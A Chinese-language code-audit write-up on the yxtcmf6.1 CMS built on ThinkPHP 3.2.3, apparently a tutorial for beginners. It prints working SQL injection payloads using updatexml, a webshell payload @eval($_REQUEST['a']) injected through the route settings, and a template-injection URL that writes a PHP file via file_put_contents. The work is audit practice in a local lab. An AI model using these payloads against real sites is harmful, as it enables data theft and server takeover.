前言
yxtcmf6.1是一个基于thinkphp3.2.3的cms,19年3月份发布,用来练习代码审计是个不错的选择。
审计思路
由于这个cms采用MVC架构并且是基于thinkphp3.2.3的,所以先了解文件结构,知道不同的页面对应的文件位置在哪。然后搭建一个tp3.2.3了解一下这个框架,百度找找这个框架的漏洞,再通过Seay全局搜索可能因为这个框架存在漏洞的关键词。接下来上自动审计(自动审计的规则并不是很完全,所以可以通过自己审计的经验添加规则或者上百度找一些规则),对自动审计的结果进行验证,结果可能会有几百上千条,虽然不用每一条都去看,但是也是比较需要耐心的。最后可以拿AWVS之类的扫描器扫一扫,看看能不能扫出惊喜。
准备工具
phpstorm,Seay源码审计系统,phpstudy,AWVS
0x00 了解文件结构和路由方式
路由方式
例如前台登录界面的url为http://127.0.0.1:8014/index.php/User/Login/index
则对应的文件目录为/application/User/LoginController.class.php,函数为index()
0x01 了解thinkphp3.2.3的漏洞
自己先搭建一个tp3.2.3,通过百度找到了一些thinkphp3.2.3存在的sql注入,然后记录下来简单说明一下
tp3.2.3构造sql语句的函数如上,如果$option的值是可以任意传入的,那么就有可能达到sql注入的目的
1.->where("可控参数")->find()
$username = $_GET['username'];$data= M('users')->where(array("username"=>$username))->find();
测试代码如上,传入参数username[0]=exp&username[1]=='admin' and updatexml(1,concat(0x3a,(user())),1)%23,然后调试跟进,主要代码段如下,$whereStr为构造sql语句的一部分
结果构成如下sql语句
这里接收传参的方法必须不为I($_GET['username']),否则会检测值内是否含有'exp',如果有,就会加上空格变为'exp '
2.->find/select/delete("可控参数")
$id=I("id");$data=M("users")->find($id);
测试代码如上,传入id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1) %23 ,然后调试跟踪
最后得到sql语句如下,不需要单引号闭合也可完成注入
find()换成select()或者delete()也是一样的效果
3.->where("可控参数")->save("可控参数")
$condition["username"]=I("username");$data["password"]=I("password");$res=M("users")->where($condition)->save($data);
测试代码如上,传入username[0]=bind&username[1]=0 and (updatexml(1,concat(0x3a,(user())),1))%23&password=123456,调试跟踪
4.->order("可控参数")->find()
$username=I("username");$order=I("order");$data=M("users")->where(array("username"=>$username))->order($order)->find();
测试代码如上,传入username=admin&order[updatexml(1,concat(0x3a,user()),1)]
最后的sql语句如下
了解了几个tp3.2.3的sql注入后,就可以搜索这些关键词来寻找sql注入
0x02 全局搜索sql注入
正则学的不是很好,所以这里全局搜索虽然支持正则,但是没去用,只能写点简单的关键词来搜索,还望师傅们指点指点
全局搜索->find(
1.后台Ad控制器sql注入
点进去第一条发现where()内的$id可控,“ad_id=$id”,可能不需要单引号闭合就可以sql注入
先随便传个参数看看sql语句是怎样的
竟然这样,就可以用括号闭合来注入了
2.前台register控制器sql注入
看看$where是否可控
于是构造payload如下
3.前台login控制器sql注入
这里一共有三处同样的关键词,需要注意的一点是,这三条不管双击进去哪一条后都只会高亮显示第一处关键词的位置。
第一处
第二处
第三处
第一处和第二处所在的函数都是在dologin()函数内调用的
接下来在第二处所在页面传参payload看看
结果出现错误提示,那么就调试跟踪看看是哪里的问题
然后继续跟进这行代码,
最后看看第三处
后面的结果大致看了一下基本都是where()内的参数都做了强制类型转换成int型,或者不可控,并且也没有看到fin()内有可控参数的。
全局搜索->select/delete(
这两都没找到select/delete()里面有可控参数的
全局搜索->save(
这里找的也是不符合可能存在漏洞的条件
全局搜素->order(
同上,没看到order()内有可控参数的
0x03 自动审计
通过自动审计扫出了800多条结果,但是并不需要全都看,比如了解了tp3.2.3后,它的核心文件的就不需要看了,还有刚刚分析过了sql注入,那么这里面的sql注入也不需要看了。像fread(),fgets()这种需要输出才能看到文件内容的,如果没有看到输出的语句也可以放弃了,而像readfile(),unlink()这种可以直接得到执行结果的,就要重点关注一下。
0x04 后台任意文件读取
翻着翻着找到了这里,进去看看变量是否可控
0x05 后台文件写入getshell
翻到这里,点进去看看
那么如果能在route表中的full_url字段中插入一句话木马,就可以将其写入到route.php里面了
上面的1212-1217行需要注意一下
parse_url($full_url)将里面的值解析,并将相应的值组合成数组,例子如下
如果$a直接填a/b/c/d,那么array[path]=a/b/c/d
继续看到1215-1217行
所以full_url的字段必须含有 a/b/c 这样的形式
全局搜索sp_get_routes后发现admin目录下的Route控制器调用了它
虽然index()函数下没有插入表的语句,但是下面还有add()函数进行数据库插入,先打开这个index页面看看
发现有添加url规则
确实是在add()下,并且原始网址的变量名为full_url,加下来都输入111验证下是否是插入route表
接下来看看route.php的样式和插入数据是否有过滤来确定payload要怎么写
因为这是个php文件,所以不需要插入<>了,只要能插入单引号闭合,那么就可以将一句话木马插入
先插入带单引号的数据测试一下
然后再结合上面说的 full_url的字段必须含有 a/b/c 这样的形式 那么就可以构造以下两种payload
url=aaa',@eval($_REQUEST['a']),'
full_url=a/b/c
url=aaa
full_url=a/b/c',@eval($_REQUEST['a']),'
添加完后会自动跳转到url美化界面,也就是调用route控制器的index()函数,完成写入route.php的操作
然后成功执行phpinfo()
0x06 前台文件写入getshell
这个是在百度上找到的,而且比较复杂,小弟水平有限,调试了很多遍才知道在哪执行的写入。
http://127.0.0.1:8014/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
由于前面跟进了很多文件和函数,跟进步骤比较繁琐,我在这就直接贴出最后关键的地方
先回调has方法检查有没有''5f068... 这个php文件,如果没有,则回调put写入这个文件
这里的$content就包含了payload里写入的值
如果有''5f068... 这个文件,那么就回调load函数,然后文件包含''5f068... ,里面的代码被执行,那么test.php文件就被写入了
0x07 AWVS扫描
AWVS并没有扫出来什么...
总结
自动审计除了这些验证出漏洞的地方,还有很多不存在漏洞的地方我也看了,要么就是参数不可控,要么就是做了防护。虽然不用每一条结果都去看,但还是需要有点耐心。希望这篇文章能对刚入门审计的兄弟有所帮助,有问题的地方也还望师傅们指出。